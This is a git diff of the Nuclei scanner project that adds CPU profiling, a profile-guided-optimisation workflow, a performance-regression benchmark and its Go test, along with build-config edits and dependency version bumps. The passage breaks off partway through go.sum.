diff --git a/.github/ISSUE_TEMPLATE/bug-report.yml b/.github/ISSUE_TEMPLATE/bug-report.yml index d2053744c..d6cabc425 100644 --- a/.github/ISSUE_TEMPLATE/bug-report.yml +++ b/.github/ISSUE_TEMPLATE/bug-report.yml @@ -36,6 +36,8 @@ body: description: | Steps to reproduce the behavior, for example, commands to run Nuclei. + 📝 For a more detailed output that could help in troubleshooting, you may want to run Nuclei with the **`-verbose`** or **`-debug`** flags. This will provide additional insights into what's happening under the hood. + :warning: **Please redact any literal target hosts/URLs or other sensitive information.** placeholder: | 1. Run `nuclei -t ...` @@ -44,7 +46,12 @@ body: - type: textarea attributes: label: Relevant log output - description: Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks. + description: | + Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks. + + 📝 For a more detailed output that could help in troubleshooting, you may want to run Nuclei with the **`-verbose`** or **`-debug`** flags. This will provide additional insights into what's happening under the hood. + + :warning: **Please redact any literal target hosts/URLs or other sensitive information.** render: shell - type: textarea attributes: diff --git a/.github/workflows/generate-pgo.yaml b/.github/workflows/generate-pgo.yaml new file mode 100644 index 000000000..25ea17858 --- /dev/null +++ b/.github/workflows/generate-pgo.yaml @@ -0,0 +1,55 @@ +name: 👤 Generate PGO + +on: + push: + branches: ["dev"] + paths: + - '**.go' + - '**.mod' + workflow_dispatch: + +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +# TODO(dwisiswant0): https://go.dev/doc/pgo#merging-profiles + +jobs: + pgo: + strategy: + matrix: + targets: [150] + runs-on: ubuntu-latest-16-cores + if: github.repository == 'projectdiscovery/nuclei' + permissions: + contents: write + env: + PGO_FILE: "cmd/nuclei/default.pgo" + LIST_FILE: "/tmp/targets-${{ matrix.targets }}.txt" + PROFILE_MEM: "/tmp/nuclei-profile-${{ matrix.targets }}-targets" + steps: + - uses: actions/checkout@v4 + - uses: projectdiscovery/actions/setup/git@v1 + - uses: projectdiscovery/actions/setup/go@v1 + - name: Generate list + run: for i in {1..${{ matrix.targets }}}; do echo "https://honey.scanme.sh/?_=${i}" >> "${LIST_FILE}"; done + # NOTE(dwisiswant0): use `-no-mhe` flag to get better samples. + - run: go run . -l "${LIST_FILE}" -profile-mem="${PROFILE_MEM}" -no-mhe + working-directory: cmd/nuclei/ + - run: mv "${PROFILE_MEM}.cpu" ${PGO_FILE} + # NOTE(dwisiswant0): shall we prune $PGO_FILE git history? + # if we prune it, this won't be linear since it requires a force-push. + # if we don't, the git objects will just keep growing bigger. + # + # Ref: + # - https://go.dev/blog/pgo#:~:text=We%20recommend%20committing%20default.pgo%20files%20to%20your%20repository + # - https://gist.github.com/nottrobin/5758221 + - uses: projectdiscovery/actions/commit@v1 + with: + files: "${PGO_FILE}" + message: "build: update PGO profile :robot:" + - run: git push origin $GITHUB_REF + - uses: actions/upload-artifact@v4 + with: + name: "pgo" + path: "${{ env.PGO_FILE }}" diff --git a/.github/workflows/perf-regression.yaml b/.github/workflows/perf-regression.yaml new file mode 100644 index 000000000..9f4b2fb88 --- /dev/null +++ b/.github/workflows/perf-regression.yaml @@ -0,0 +1,38 @@ +name: 🔨 Performance Regression + +on: + workflow_call: + workflow_dispatch: + +jobs: + perf-regression: + runs-on: ubuntu-latest-16-cores + if: github.repository == 'projectdiscovery/nuclei' + env: + BENCH_OUT: "/tmp/bench.out" + steps: + - uses: actions/checkout@v4 + - uses: projectdiscovery/actions/setup/go@v1 + - run: make build-test + - run: ./bin/nuclei.test -test.run - -test.bench=. -test.benchmem ./cmd/nuclei/ | tee $BENCH_OUT + env: + DISABLE_STDOUT: "1" + - uses: actions/cache/restore@v4 + with: + path: ./cache + key: ${{ runner.os }}-benchmark + - uses: benchmark-action/github-action-benchmark@v1 + with: + name: 'RunEnumeration Benchmark' + tool: 'go' + output-file-path: ${{ env.BENCH_OUT }} + external-data-json-path: ./cache/benchmark-data.json + fail-on-alert: false + github-token: ${{ secrets.GITHUB_TOKEN }} + comment-on-alert: true + summary-always: true + - uses: actions/cache/save@v4 + if: github.event_name == 'push' + with: + path: ./cache + key: ${{ runner.os }}-benchmark diff --git a/.github/workflows/perf-test.yaml b/.github/workflows/perf-test.yaml index f4c327fe0..ec2449464 100644 --- a/.github/workflows/perf-test.yaml +++ b/.github/workflows/perf-test.yaml @@ -20,16 +20,24 @@ jobs: - uses: projectdiscovery/actions/setup/go@v1 - run: make verify - name: Generate list - run: for i in {1..${{ matrix.count }}}; do echo "https://scanme.sh/?_=${i}" >> "${LIST_FILE}"; done - - run: NUCLEI_ARGS=host-error-stats go run . -l "${LIST_FILE}" -profile-mem="${PROFILE_MEM}" + run: for i in {1..${{ matrix.count }}}; do echo "https://honey.scanme.sh/?_=${i}" >> "${LIST_FILE}"; done + - run: go run . -l "${LIST_FILE}" -profile-mem="${PROFILE_MEM}" + env: + NUCLEI_ARGS: host-error-stats working-directory: cmd/nuclei/ - uses: projectdiscovery/actions/flamegraph@v1 - id: flamegraph + id: flamegraph-cpu with: - profile: "${{ env.PROFILE_MEM }}.prof" - name: "nuclei-perf-test-${{ matrix.count }}" + profile: "${{ env.PROFILE_MEM }}.cpu" + name: "${{ env.FLAMEGRAPH_NAME }} CPU profiles" continue-on-error: true - - if: ${{ steps.flamegraph.outputs.message == '' }} - run: echo "::notice::${FLAMEGRAPH_URL}" - env: - FLAMEGRAPH_URL: ${{ steps.flamegraph.outputs.url }} + - uses: projectdiscovery/actions/flamegraph@v1 + id: flamegraph-mem + with: + profile: "${{ env.PROFILE_MEM }}.mem" + name: "${{ env.FLAMEGRAPH_NAME }} memory profiles" + continue-on-error: true + - if: ${{ steps.flamegraph-mem.outputs.message == '' }} + run: | + echo "::notice::CPU flamegraph: ${{ steps.flamegraph-cpu.outputs.url }}" + echo "::notice::Memory (heap) flamegraph: ${{ steps.flamegraph-mem.outputs.url }}" diff --git a/.github/workflows/tests.yaml b/.github/workflows/tests.yaml index b0d695b1c..b4cf0b22d 100644 --- a/.github/workflows/tests.yaml +++ b/.github/workflows/tests.yaml @@ -156,13 +156,23 @@ jobs: echo "FLAMEGRAPH_NAME=nuclei (PR #${{ github.event.number }})" >> $GITHUB_ENV - run: ./bin/nuclei -silent -update-templates - run: ./bin/nuclei -silent -u "${TARGET_URL}" -profile-mem="${PROFILE_MEM}" - - uses: projectdiscovery/actions/flamegraph@master - id: flamegraph + - uses: projectdiscovery/actions/flamegraph@v1 + id: flamegraph-cpu with: - profile: "${{ env.PROFILE_MEM }}.prof" - name: "${{ env.FLAMEGRAPH_NAME }}" + profile: "${{ env.PROFILE_MEM }}.cpu" + name: "${{ env.FLAMEGRAPH_NAME }} CPU profiles" continue-on-error: true - - if: ${{ steps.flamegraph.outputs.message == '' }} - run: echo "::notice::${FLAMEGRAPH_URL}" - env: - FLAMEGRAPH_URL: ${{ steps.flamegraph.outputs.url }} + - uses: projectdiscovery/actions/flamegraph@v1 + id: flamegraph-mem + with: + profile: "${{ env.PROFILE_MEM }}.mem" + name: "${{ env.FLAMEGRAPH_NAME }} memory profiles" + continue-on-error: true + - if: ${{ steps.flamegraph-mem.outputs.message == '' }} + run: | + echo "::notice::CPU flamegraph: ${{ steps.flamegraph-cpu.outputs.url }}" + echo "::notice::Memory (heap) flamegraph: ${{ steps.flamegraph-mem.outputs.url }}" + + perf-regression: + needs: ["tests"] + uses: ./.github/workflows/perf-regression.yaml diff --git a/.gitignore b/.gitignore index f61794b19..f5153fe0f 100644 --- a/.gitignore +++ b/.gitignore @@ -48,4 +48,6 @@ vendor # Profiling & tracing *.prof *.pprof -*.trace \ No newline at end of file +*.trace +*.mem +*.cpu \ No newline at end of file diff --git a/.goreleaser.yml b/.goreleaser.yml index df77d595c..f488d4df0 100644 --- a/.goreleaser.yml +++ b/.goreleaser.yml @@ -1,27 +1,29 @@ before: hooks: - - go mod tidy + - go mod download + - go mod verify builds: -- main: cmd/nuclei/main.go - binary: nuclei - id: nuclei-cli - - env: - - CGO_ENABLED=0 - - goos: [windows,linux,darwin] - goarch: [amd64,386,arm,arm64] - ignore: - - goos: darwin - goarch: 386 - - goos: windows - goarch: arm - - goos: windows - goarch: arm64 - - flags: - - -trimpath + - main: cmd/nuclei/main.go + binary: nuclei + id: nuclei-cli + env: + - CGO_ENABLED=0 + goos: [windows,linux,darwin] + goarch: [amd64,'386',arm,arm64] + ignore: + - goos: darwin + goarch: '386' + - goos: windows + goarch: arm + - goos: windows + goarch: arm64 + flags: + - -trimpath + - -pgo=auto + ldflags: + - -s + - -w #- main: cmd/tmc/main.go # binary: tmc @@ -34,10 +36,10 @@ builds: # goarch: [amd64] archives: -- format: zip - id: nuclei - builds: [nuclei-cli] - name_template: '{{ .ProjectName }}_{{ .Version }}_{{ if eq .Os "darwin" }}macOS{{ else }}{{ .Os }}{{ end }}_{{ .Arch }}' + - format: zip + id: nuclei + builds: [nuclei-cli] + name_template: '{{ .ProjectName }}_{{ .Version }}_{{ if eq .Os "darwin" }}macOS{{ else }}{{ .Os }}{{ end }}_{{ .Arch }}' checksum: algorithm: sha256 diff --git a/DESIGN.md b/DESIGN.md index 93e8755ce..2d10a6d5b 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -459,35 +459,42 @@ That's it, you've added a new protocol to Nuclei. The next good step would be to ## Profiling and Tracing -To analyze Nuclei's performance and resource usage, you can generate memory profiles and trace files using the `-profile-mem` flag: +To analyze Nuclei's performance and resource usage, you can generate CPU & memory profiles and trace files using the `-profile-mem` flag: ```bash nuclei -t nuclei-templates/ -u https://example.com -profile-mem=nuclei-$(git describe --tags) ``` -This command creates two files: +This command creates three files: -* `nuclei.prof`: Memory (heap) profile +* `nuclei.cpu`: CPU profile +* `nuclei.mem`: Memory (heap) profile * `nuclei.trace`: Execution trace -### Analyzing the Memory Profile +### Analyzing the CPU/Memory Profiles -1. View the profile in the terminal: +* View the profile in the terminal: ```bash -go tool pprof nuclei.prof +go tool pprof nuclei.{cpu,mem} ``` -2. Display top memory consumers: +* Display overall CPU time for processing $$N$$ targets: -```bash -go tool pprof -top nuclei.prof | grep "$(go list -m)" | head -10 +``` +go tool pprof -top nuclei.cpu | grep "Total samples" ``` -3. Visualize the profile in a web browser: +* Display top memory consumers: ```bash -go tool pprof -http=:$(shuf -i 1000-99999 -n 1) nuclei.prof +go tool pprof -top nuclei.mem | grep "$(go list -m)" | head -10 +``` + +* Visualize the profile in a web browser: + +```bash +go tool pprof -http=:$(shuf -i 1000-99999 -n 1) nuclei.{cpu,mem} ``` ### Analyzing the Trace File diff --git a/Makefile b/Makefile index b3aed71bd..0c3ab083b 100644 --- a/Makefile +++ b/Makefile @@ -11,7 +11,7 @@ GOFLAGS := -v LDFLAGS := -s -w ifneq ($(shell go env GOOS),darwin) - LDFLAGS = -extldflags "-static" + LDFLAGS += -extldflags "-static" endif .PHONY: all build build-stats clean devtools-all devtools-bindgen devtools-scrapefuncs @@ -26,13 +26,22 @@ clean: go-build: clean go-build: - $(GOBUILD) $(GOFLAGS) -ldflags '${LDFLAGS}' $(GOBUILD_ADDITIONAL_ARGS) \ + CGO_ENABLED=0 $(GOBUILD) -trimpath $(GOFLAGS) -ldflags '${LDFLAGS}' $(GOBUILD_ADDITIONAL_ARGS) \ -o '${GOBUILD_OUTPUT}' $(GOBUILD_PACKAGES) +build: GOFLAGS = -v -pgo=auto build: GOBUILD_OUTPUT = ./bin/nuclei build: GOBUILD_PACKAGES = cmd/nuclei/main.go build: go-build +build-test: GOFLAGS = -v -pgo=auto +build-test: GOBUILD_OUTPUT = ./bin/nuclei.test +build-test: GOBUILD_PACKAGES = ./cmd/nuclei/ +build-test: clean +build-test: + CGO_ENABLED=0 $(GOCMD) test -c -trimpath $(GOFLAGS) -ldflags '${LDFLAGS}' $(GOBUILD_ADDITIONAL_ARGS) \ + -o '${GOBUILD_OUTPUT}' ${GOBUILD_PACKAGES} + build-stats: GOBUILD_OUTPUT = ./bin/nuclei-stats build-stats: GOBUILD_PACKAGES = cmd/nuclei/main.go build-stats: GOBUILD_ADDITIONAL_ARGS = -tags=stats diff --git a/cmd/nuclei/main.go b/cmd/nuclei/main.go index 05c8a2c5a..8cc2b53f1 100644 --- a/cmd/nuclei/main.go +++ b/cmd/nuclei/main.go @@ -106,17 +106,19 @@ func main() { // Profiling & tracing related code if memProfile != "" { - memProfile = strings.TrimSuffix(memProfile, filepath.Ext(memProfile)) + ".prof" - memProfileFile, err := os.Create(memProfile) - if err != nil { - gologger.Fatal().Msgf("profile: could not create memory profile %q file: %v", memProfile, err) + memProfile = strings.TrimSuffix(memProfile, filepath.Ext(memProfile)) + + createProfileFile := func(ext, profileType string) *os.File { + f, err := os.Create(memProfile + ext) + if err != nil { + gologger.Fatal().Msgf("profile: could not create %s profile %q file: %v", profileType, f.Name(), err) + } + return f } - traceFilepath := strings.TrimSuffix(memProfile, filepath.Ext(memProfile)) + ".trace" - traceFile, err := os.Create(traceFilepath) - if err != nil { - gologger.Fatal().Msgf("profile: could not create trace %q file: %v", traceFilepath, err) - } + memProfileFile := createProfileFile(".mem", "memory") + cpuProfileFile := createProfileFile(".cpu", "CPU") + traceFile := createProfileFile(".trace", "trace") oldMemProfileRate := runtime.MemProfileRate runtime.MemProfileRate = 4096 @@ -126,18 +128,27 @@ func main() { gologger.Fatal().Msgf("profile: could not start trace: %v", err) } + // Start CPU profiling + if err := pprof.StartCPUProfile(cpuProfileFile); err != nil { + gologger.Fatal().Msgf("profile: could not start CPU profile: %v", err) + } + defer func() { - // Start CPU profiling + // Start heap memory snapshot if err := pprof.WriteHeapProfile(memProfileFile); err != nil { - gologger.Fatal().Msgf("profile: could not start CPU profile: %v", err) + gologger.Fatal().Msgf("profile: could not write memory profile: %v", err) } + + pprof.StopCPUProfile() memProfileFile.Close() traceFile.Close() trace.Stop() + runtime.MemProfileRate = oldMemProfileRate - gologger.Info().Msgf("Memory profile saved at %q", memProfile) - gologger.Info().Msgf("Traced at %q", traceFilepath) + gologger.Info().Msgf("CPU profile saved at %q", cpuProfileFile.Name()) + gologger.Info().Msgf("Memory usage snapshot saved at %q", memProfileFile.Name()) + gologger.Info().Msgf("Traced at %q", traceFile.Name()) }() } @@ -526,6 +537,15 @@ Additional documentation is available at: https://docs.nuclei.sh/getting-started } } + // guard cloud services with credentials + if options.AITemplatePrompt != "" { + h := &pdcp.PDCPCredHandler{} + _, err := h.GetCreds() + if err != nil { + gologger.Fatal().Msg("To utilize the `-ai` flag, please configure your API key with the `-auth` flag or set the `PDCP_API_KEY` environment variable") + } + } + gologger.DefaultLogger.SetTimestamp(options.Timestamp, levels.LevelDebug) if options.VerboseVerbose { diff --git a/cmd/nuclei/main_test.go b/cmd/nuclei/main_test.go new file mode 100644 index 000000000..01c75d5c8 --- /dev/null +++ b/cmd/nuclei/main_test.go @@ -0,0 +1,87 @@ +package main_test + +import ( + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/projectdiscovery/goflags" + "github.com/projectdiscovery/gologger" + "github.com/projectdiscovery/gologger/levels" + "github.com/projectdiscovery/nuclei/v3/internal/runner" + "github.com/projectdiscovery/nuclei/v3/pkg/types" +) + +func BenchmarkRunEnumeration(b *testing.B) { + dummyServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(http.StatusNoContent) + })) + defer dummyServer.Close() + + options := &types.Options{ + RemoteTemplateDomainList: goflags.StringSlice{ + "cloud.projectdiscovery.io", + }, + ProjectPath: "/tmp", + Targets: goflags.StringSlice{dummyServer.URL}, + StatsInterval: 5, + MetricsPort: 9092, + MaxHostError: 30, + NoHostErrors: true, + BulkSize: 25, + TemplateThreads: 25, + HeadlessBulkSize: 10, + HeadlessTemplateThreads: 10, + Timeout: 10, + Retries: 1, + RateLimit: 150, + RateLimitDuration: time.Duration(time.Second), + RateLimitMinute: 0, + PageTimeout: 20, + InteractionsCacheSize: 5000, + InteractionsPollDuration: 5, + InteractionsEviction: 60, + InteractionsCoolDownPeriod: 5, + MaxRedirects: 10, + Silent: true, + VarDumpLimit: 255, + JSONRequests: true, + StoreResponseDir: "output", + InputFileMode: "list", + ResponseReadSize: 0, + ResponseSaveSize: 1048576, + InputReadTimeout: time.Duration(3 * time.Minute), + UncoverField: "ip:port", + UncoverLimit: 100, + UncoverRateLimit: 60, + ScanStrategy: "auto", + FuzzAggressionLevel: "low", + FuzzParamFrequency: 10, + TeamID: "none", + JsConcurrency: 120, + PayloadConcurrency: 25, + ProbeConcurrency: 50, + LoadHelperFileFunction: types.DefaultOptions().LoadHelperFileFunction, + // DialerKeepAlive: time.Duration(0), + // DASTServerAddress: "localhost:9055", + } + + runner.ParseOptions(options) + + // Disable logging to reduce benchmark noise. + gologger.DefaultLogger.SetMaxLevel(levels.LevelSilent) + + nucleiRunner, err := runner.New(options) + if err != nil { + b.Fatalf("failed to create runner: %s", err) + } + + b.ResetTimer() + + for i := 0; i < b.N; i++ { + if err := nucleiRunner.RunEnumeration(); err != nil { + b.Fatalf("RunEnumeration failed: %s", err) + } + } +} diff --git a/go.mod b/go.mod index cd6035083..e5aa91a5c 100644 --- a/go.mod +++ b/go.mod @@ -21,12 +21,12 @@ require ( github.com/pkg/errors v0.9.1 github.com/projectdiscovery/clistats v0.1.1 github.com/projectdiscovery/fastdialer v0.3.0 - github.com/projectdiscovery/hmap v0.0.77 - github.com/projectdiscovery/interactsh v1.2.3 - github.com/projectdiscovery/rawhttp v0.1.84 + github.com/projectdiscovery/hmap v0.0.82 + github.com/projectdiscovery/interactsh v1.2.4 + github.com/projectdiscovery/rawhttp v0.1.89 github.com/projectdiscovery/retryabledns v1.0.94 - github.com/projectdiscovery/retryablehttp-go v1.0.97 - github.com/projectdiscovery/yamldoc-go v1.0.5 + github.com/projectdiscovery/retryablehttp-go v1.0.101 + github.com/projectdiscovery/yamldoc-go v1.0.6 github.com/remeh/sizedwaitgroup v1.0.0 github.com/rs/xid v1.5.0 github.com/segmentio/ksuid v1.0.4 @@ -38,9 +38,9 @@ require ( github.com/weppos/publicsuffix-go v0.30.2 github.com/xanzy/go-gitlab v0.107.0 go.uber.org/multierr v1.11.0 - golang.org/x/net v0.34.0 + golang.org/x/net v0.35.0 golang.org/x/oauth2 v0.22.0 - golang.org/x/text v0.21.0 + golang.org/x/text v0.22.0 gopkg.in/yaml.v2 v2.4.0 ) @@ -84,24 +84,24 @@ require ( github.com/microsoft/go-mssqldb v1.6.0 github.com/ory/dockertest/v3 v3.10.0 github.com/praetorian-inc/fingerprintx v1.1.9 - github.com/projectdiscovery/dsl v0.3.13 + github.com/projectdiscovery/dsl v0.3.18 github.com/projectdiscovery/fasttemplate v0.0.2 github.com/projectdiscovery/go-smb2 v0.0.0-20240129202741-052cc450c6cb - github.com/projectdiscovery/goflags v0.1.69 - github.com/projectdiscovery/gologger v1.1.42 + github.com/projectdiscovery/goflags v0.1.74 + github.com/projectdiscovery/gologger v1.1.46 github.com/projectdiscovery/gostruct v0.0.2 github.com/projectdiscovery/gozero v0.0.3 - github.com/projectdiscovery/httpx v1.6.9 + github.com/projectdiscovery/httpx v1.6.10 github.com/projectdiscovery/mapcidr v1.1.34 github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5 - github.com/projectdiscovery/ratelimit v0.0.70 + github.com/projectdiscovery/ratelimit v0.0.75 github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917 github.com/projectdiscovery/sarif v0.0.1 github.com/projectdiscovery/tlsx v1.1.9 - github.com/projectdiscovery/uncover v1.0.9 - github.com/projectdiscovery/useragent v0.0.89 - github.com/projectdiscovery/utils v0.4.8 - github.com/projectdiscovery/wappalyzergo v0.2.13 + github.com/projectdiscovery/uncover v1.0.10 + github.com/projectdiscovery/useragent v0.0.94 + github.com/projectdiscovery/utils v0.4.12 + github.com/projectdiscovery/wappalyzergo v0.2.18 github.com/redis/go-redis/v9 v9.1.0 github.com/seh-msft/burpxml v1.0.1 github.com/shurcooL/graphql v0.0.0-20230722043721-ed46e5a46466 @@ -110,7 +110,7 @@ require ( github.com/yassinebenaid/godump v0.10.0 github.com/zmap/zgrab2 v0.1.8-0.20230806160807-97ba87c0e706 go.mongodb.org/mongo-driver v1.17.0 - golang.org/x/term v0.28.0 + golang.org/x/term v0.29.0 gopkg.in/yaml.v3 v3.0.1 moul.io/http2curl v1.0.0 ) @@ -162,7 +162,7 @@ require ( github.com/felixge/fgprof v0.9.5 // indirect github.com/free5gc/util v1.0.5-0.20230511064842-2e120956883b // indirect github.com/gabriel-vasile/mimetype v1.4.2 // indirect - github.com/gaissmai/bart v0.17.8 // indirect + github.com/gaissmai/bart v0.17.10 // indirect github.com/geoffgarside/ber v1.1.0 // indirect github.com/gin-contrib/sse v0.1.0 // indirect github.com/gin-gonic/gin v1.9.1 // indirect @@ -219,12 +219,12 @@ require ( github.com/pjbgf/sha1cd v0.3.0 // indirect github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c // indirect github.com/projectdiscovery/asnmap v1.1.1 // indirect - github.com/projectdiscovery/cdncheck v1.1.0 // indirect + github.com/projectdiscovery/cdncheck v1.1.8 // indirect github.com/projectdiscovery/freeport v0.0.7 // indirect github.com/projectdiscovery/ldapserver v1.0.2-0.20240219154113-dcc758ebc0cb // indirect github.com/projectdiscovery/machineid v0.0.0-20240226150047-2e2c51e35983 // indirect github.com/refraction-networking/utls v1.6.7 // indirect - github.com/sashabaranov/go-openai v1.15.3 // indirect + github.com/sashabaranov/go-openai v1.37.0 // indirect github.com/shirou/gopsutil v3.21.11+incompatible // indirect github.com/shoenig/go-m1cpu v0.1.6 // indirect github.com/sirupsen/logrus v1.9.3 // indirect @@ -259,7 +259,7 @@ require ( go.uber.org/goleak v1.3.0 // indirect go4.org v0.0.0-20230225012048-214862532bf5 // indirect golang.org/x/arch v0.3.0 // indirect - golang.org/x/sync v0.10.0 // indirect + golang.org/x/sync v0.11.0 // indirect gopkg.in/djherbis/times.v1 v1.3.0 // indirect mellium.im/sasl v0.3.1 // indirect ) @@ -309,7 +309,7 @@ require ( github.com/pmezard/go-difflib v1.0.0 // indirect github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect github.com/projectdiscovery/blackrock v0.0.1 // indirect - github.com/projectdiscovery/networkpolicy v0.1.2 + github.com/projectdiscovery/networkpolicy v0.1.7 github.com/rivo/uniseg v0.4.7 // indirect github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect github.com/tklauser/go-sysconf v0.3.12 // indirect @@ -326,10 +326,10 @@ require ( go.etcd.io/bbolt v1.3.10 // indirect go.uber.org/zap v1.25.0 // indirect goftp.io/server/v2 v2.0.1 // indirect - golang.org/x/crypto v0.32.0 // indirect + golang.org/x/crypto v0.33.0 // indirect golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8 golang.org/x/mod v0.22.0 // indirect - golang.org/x/sys v0.29.0 // indirect + golang.org/x/sys v0.30.0 // indirect golang.org/x/time v0.6.0 // indirect golang.org/x/tools v0.29.0 google.golang.org/protobuf v1.34.2 // indirect diff --git a/go.sum b/go.sum index bf2bf2d9c..32ac60d11 100644 --- a/go.sum +++ b/go.sum @@ -359,8 +359,8 @@ github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4 github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU= github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA= -github.com/gaissmai/bart v0.17.8 h1:REVOltckoqNqNrdhKYgA4THrufgzr2CuPKKXsSQMRhw= -github.com/gaissmai/bart v0.17.8/go.mod h1:JCPkH/Xt5bSPCKDc6OpzkhSCeib8BIxu3kthzZwcl6w= +github.com/gaissmai/bart v0.17.10 h1:TY1y++A6N/ESrwRLTRWrnVOrQpZqpOYSVnKMu/FYW6o= +github.com/gaissmai/bart v0.17.10/go.mod h1:JCPkH/Xt5bSPCKDc6OpzkhSCeib8BIxu3kthzZwcl6w= github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w= github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc= github.com/getkin/kin-openapi v0.126.0 h1:c2cSgLnAsS0xYfKsgt5oBV6MYRM/giU8/RtwUY4wyfY= @@ -868,12 +868,12 @@ github.com/projectdiscovery/asnmap v1.1.1 h1:ImJiKIaACOT7HPx4Pabb5dksolzaFYsD1kI github.com/projectdiscovery/asnmap v1.1.1/go.mod h1:QT7jt9nQanj+Ucjr9BqGr1Q2veCCKSAVyUzLXfEcQ60= github.com/projectdiscovery/blackrock v0.0.1 h1:lHQqhaaEFjgf5WkuItbpeCZv2DUIE45k0VbGJyft6LQ= github.com/projectdiscovery/blackrock v0.0.1/go.mod h1:ANUtjDfaVrqB453bzToU+YB4cUbvBRpLvEwoWIwlTss= -github.com/projectdiscovery/cdncheck v1.1.0 h1:qDITidmJsejzpk3rMkauCh6sjI2GH9hW/snk0cQ3kXE= -github.com/projectdiscovery/cdncheck v1.1.0/go.mod h1:sZ8U4MjHSsyaTVjBbYWHT1cwUVvUYwDX1W+WvWRicIc= +github.com/projectdiscovery/cdncheck v1.1.8 h1:kOdgKm2QTm0s76jSEHEAQISc5Gb20goJbVLpHqqza+8= +github.com/projectdiscovery/cdncheck v1.1.8/go.mod h1:dFEGsG0qAJY0AaRr2N1BY0OtZiTxS4kYeT5+OkF8t1U= github.com/projectdiscovery/clistats v0.1.1 h1:8mwbdbwTU4aT88TJvwIzTpiNeow3XnAB72JIg66c8wE= github.com/projectdiscovery/clistats v0.1.1/go.mod h1:4LtTC9Oy//RiuT1+76MfTg8Hqs7FQp1JIGBM3nHK6a0= -github.com/projectdiscovery/dsl v0.3.13 h1:3/2Cd7bl5qS3bpVIKK4Qns2f8/XKPlj82SsztHplHg0= -github.com/projectdiscovery/dsl v0.3.13/go.mod h1:nWkkkfreA+P0nc0O9lalqu5lieIirSYNAD4W9daKd+U= +github.com/projectdiscovery/dsl v0.3.18 h1:UsFiVdqjIm3S1KNQhGUWwgQgCp5N9O39kZmjfazXVQY= +github.com/projectdiscovery/dsl v0.3.18/go.mod h1:RYA1/QE/L+hFO3haGFc9RU2DQtLoJDszBXYWbD/8T9U= github.com/projectdiscovery/fastdialer v0.3.0 h1:/wMptjdsrAU/wiaA/U3lSgYGaYCGJH6xm0mLei6oMxk= github.com/projectdiscovery/fastdialer v0.3.0/go.mod h1:Q0YLArvpx9GAfY/NcTPMCA9qZuVOGnuVoNYWzKBwxdQ= github.com/projectdiscovery/fasttemplate v0.0.2 h1:h2cISk5xDhlJEinlBQS6RRx0vOlOirB2y3Yu4PJzpiA= @@ -882,20 +882,20 @@ github.com/projectdiscovery/freeport v0.0.7 h1:Q6uXo/j8SaV/GlAHkEYQi8WQoPXyJWxys github.com/projectdiscovery/freeport v0.0.7/go.mod h1:cOhWKvNBe9xM6dFJ3RrrLvJ5vXx2NQ36SecuwjenV2k= github.com/projectdiscovery/go-smb2 v0.0.0-20240129202741-052cc450c6cb h1:rutG906Drtbpz4DwU5mhGIeOhRcktDH4cGQitGUMAsg= github.com/projectdiscovery/go-smb2 v0.0.0-20240129202741-052cc450c6cb/go.mod h1:FLjF1DmZ+POoGEiIQdWuYVwS++C/GwpX8YaCsTSm1RY= -github.com/projectdiscovery/goflags v0.1.69 h1:F9ANzRhVOlj+0/yS8xEKJ1TCXtcb/nXxVJPJylZYUXg= -github.com/projectdiscovery/goflags v0.1.69/go.mod h1:bKs3HhVh6woQfSFK6bFv2qydi1tx5UQ3nAQv9mYh2v4= -github.com/projectdiscovery/gologger v1.1.42 h1:wTF52VEhJCtZk9GDNrlnAYBrqfm5FqXv/FImkNfdOSE= -github.com/projectdiscovery/gologger v1.1.42/go.mod h1:hf6vcNeKgj+BHfWQpMV4UBsfE8d+9wauWvcI31ZwuXs= +github.com/projectdiscovery/goflags v0.1.74 h1:n85uTRj5qMosm0PFBfsvOL24I7TdWRcWq/1GynhXS7c= +github.com/projectdiscovery/goflags v0.1.74/go.mod h1:UMc9/7dFz2oln+10tv6cy+7WZKTHf9UGhaNkF95emh4= +github.com/projectdiscovery/gologger v1.1.46 h1:dBbtVJM3Y0rBBukvk2vLmConuMEI3KDj8k9DhECj/bU= +github.com/projectdiscovery/gologger v1.1.46/go.mod h1:9ZPkQd79jpuy3M4ZENmXx78hobqvumkIgZ03tn4hD/M= github.com/projectdiscovery/gostruct v0.0.2 h1:s8gP8ApugGM4go1pA+sVlPDXaWqNP5BBDDSv7VEdG1M= github.com/projectdiscovery/gostruct v0.0.2/go.mod h1:H86peL4HKwMXcQQtEa6lmC8FuD9XFt6gkNR0B/Mu5PE= github.com/projectdiscovery/gozero v0.0.3 h1:tsYkrSvWw4WdIUJyisd4MB1vRiw1X57TuVVk3p8Z3G8= github.com/projectdiscovery/gozero v0.0.3/go.mod h1:MpJ37Dsh94gy2EKqaemdeh+CzduGVB2SDfhr6Upsjew= -github.com/projectdiscovery/hmap v0.0.77 h1:pI7pmW+CN19LAkMsSFKC0K1SK1+sonto2hwte/7eOaQ= -github.com/projectdiscovery/hmap v0.0.77/go.mod h1:LkV8r/enq9G9HnY2YzMpU4CCmFz3dstOlhmeaObVQfk= -github.com/projectdiscovery/httpx v1.6.9 